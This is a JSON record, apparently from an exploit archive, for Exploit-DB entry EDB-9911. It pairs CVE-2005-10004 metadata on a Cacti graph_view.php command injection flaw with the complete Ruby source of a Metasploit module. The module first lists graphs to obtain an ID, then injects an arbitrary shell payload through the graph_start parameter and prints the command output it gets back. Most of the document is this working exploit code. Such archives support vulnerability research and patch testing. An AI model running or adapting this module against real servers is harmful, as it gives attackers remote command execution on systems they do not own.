{"exploit":{"id":"EDB-9911","name":"Cacti 0.8.6-d - 'graph_view.php' Command Injection (Metasploit)","description":"Cacti 0.8.6-d - 'graph_view.php' Command Injection (Metasploit)","cves":["CVE-2005-10004"],"author":"David Maciejak","published":"2005-01-15","platform":"php","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9911","path":"exploits/php/webapps/9911.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9911.rb","vulnerabilities":[{"id":"CVE-2005-10004","state":"PUBLISHED","title":"Cacti graph_view.php RCE via graph_start Parameter Injection","titleSource":"CVE Program","description":"Cacti versions prior to 0.8.6-d contain a remote command execution vulnerability in the graph_view.php script. An authenticated user can inject arbitrary shell commands via the graph_start GET parameter, which is improperly handled during graph rendering. This flaw allows attackers to execute commands on the underlying operating system with the privileges of the web server process, potentially compromising system integrity.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-10004","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2005-10004"},"updatedAt":"2026-07-28T01:46:23.918Z","retrievedAt":"2026-11-26T19:07:06.220Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9911.png?v=2","url":"https://exploitbin.com/exploits/EDB-9911","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9911/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9911/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id$\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Exploit::Remote\n\n\tinclude Msf::Exploit::Remote::Tcp\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Cacti graph_view.php Remote Command Execution',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits an arbitrary command execution vulnerability in the\n\t\t\tRaxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to\n\t\t\t0.8.6-d are vulnerable.\n\t\t\t},\n\t\t\t'Author'         => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision$',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['OSVDB', '17539'],\n\t\t\t\t\t['BID', '14042'],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t\t'Space'       => 512,\n\t\t\t\t\t'Compat'      =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'PayloadType' => 'cmd',\n\t\t\t\t\t\t\t'RequiredCmd' => 'generic perl ruby bash telnet',\n\t\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t'Platform'       => 'unix',\n\t\t\t'Arch'           => ARCH_CMD,\n\t\t\t'Targets'        => [[ 'Automatic', { }]],\n\t\t\t'DisclosureDate' => 'Jan 15 2005',\n\t\t\t'DefaultTarget' => 0))\n\n\t\t\tregister_options(\n\t\t\t\t[\n\t\t\t\t\tOptString.new('URI', [true, \"The full URI path to graph_view.php\", \"/cacti/graph_view.php\"]),\n\t\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\t# Obtain a valid image ID\n\t\tres = send_request_cgi({\n\t\t\t'uri'      => datastore['URI'],\n\t\t\t'vars_get' =>\n\t\t\t{\n\t\t\t\t'action' => 'list'\n\t\t\t}\n\t\t}, 10)\n\n\t\tif (not res)\n\t\t\tprint_status(\"The server returned: #{res.code} #{res.message}\")\n\t\t\treturn\n\t\tend\n\n\t\tm = res.body.match(/local_graph_id=(.*?)&/)\n\t\tif (not m)\n\t\t\tprint_status(\"Could not locate a valid image ID\")\n\t\t\treturn\n\t\tend\n\n\t\t# Trigger the command execution bug\n\t\tres = send_request_cgi({\n\t\t\t'uri'      => datastore['URI'],\n\t\t\t'vars_get' =>\n\t\t\t{\n\t\t\t\t'local_graph_id' => m[1],\n\t\t\t\t'graph_start'    => \"\\necho YYY;#{payload.encoded};echo YYY;echo\\n\"\n\t\t\t}\n\t\t}, 25)\n\n\t\tif (res)\n\t\t\tprint_status(\"The server returned: #{res.code} #{res.message}\")\n\t\t\tprint(\"\")\n\n\t\t\tm = res.body.match(/YYY(.*)YYY/)\n\n\t\t\tif (m)\n\t\t\t\tprint_status(\"Command output from the server:\")\n\t\t\t\tprint(m[1])\n\t\t\telse\n\t\t\t\tprint_status(\"This server may not be vulnerable\")\n\t\t\tend\n\n\t\telse\n\t\t\tprint_status(\"No response from the server\")\n\t\tend\n\tend\n\nend","sha256":"fa0dd17a5fe58736fa366f577fed13c5c408d356eb8b1f2bea920afdc26a804a","bytes":2541,"fetchedAt":"2026-11-26T19:07:06.111Z","encoding":"utf-8 (display only; download retains original bytes)"}